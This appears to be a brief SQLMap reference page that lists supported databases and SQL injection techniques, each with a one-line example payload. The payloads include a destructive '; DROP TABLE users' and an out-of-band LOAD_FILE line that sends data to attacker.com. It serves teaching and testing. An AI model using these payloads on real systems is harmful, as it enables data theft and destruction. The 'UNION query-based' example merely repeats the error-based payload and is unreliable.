SQLMap is the only penetration testing tool that can properly detect and exploit all known SQLi types.

Supported Databases

MySQLOraclePostgreSQLMicrosoft SQL Server
SQLiteIBM DB2Microsoft AccessFirebird
SybaseSAP MaxDBInformixMariaDB
HSQLDBCockroachDBTiDBMemSQL
H2MonetDBApache DerbyAmazon Redshift
VerticaMckoiPrestoAltibaseMimerSQL
CrateDBGreenplumDrizzleApache Ignite
CubridInterSystems CacheIRISeXtremeDB
FrontBase

Techniques Used

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

Boolean-based Blind SQLi

AND 1=1

Differentiates TRUE from FALSE query results.

  • TRUE results are generally based on responses having none or marginal difference to the regular server response.

  • FALSE results are based on responses having substantial differences from the regular server response.

Error-based SQLi

AND GTID_SUBSET(@@version,0)

UNION query-based

AND GTID_SUBSET(@@version,0)

Stacked queries

; DROP TABLE users

Time-based blind SQL Injection

AND 1=IF(2>1,SLEEP(5),0)

Inline queries

SELECT (SELECT @@version) from

Out-of-band SQL Injection

LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))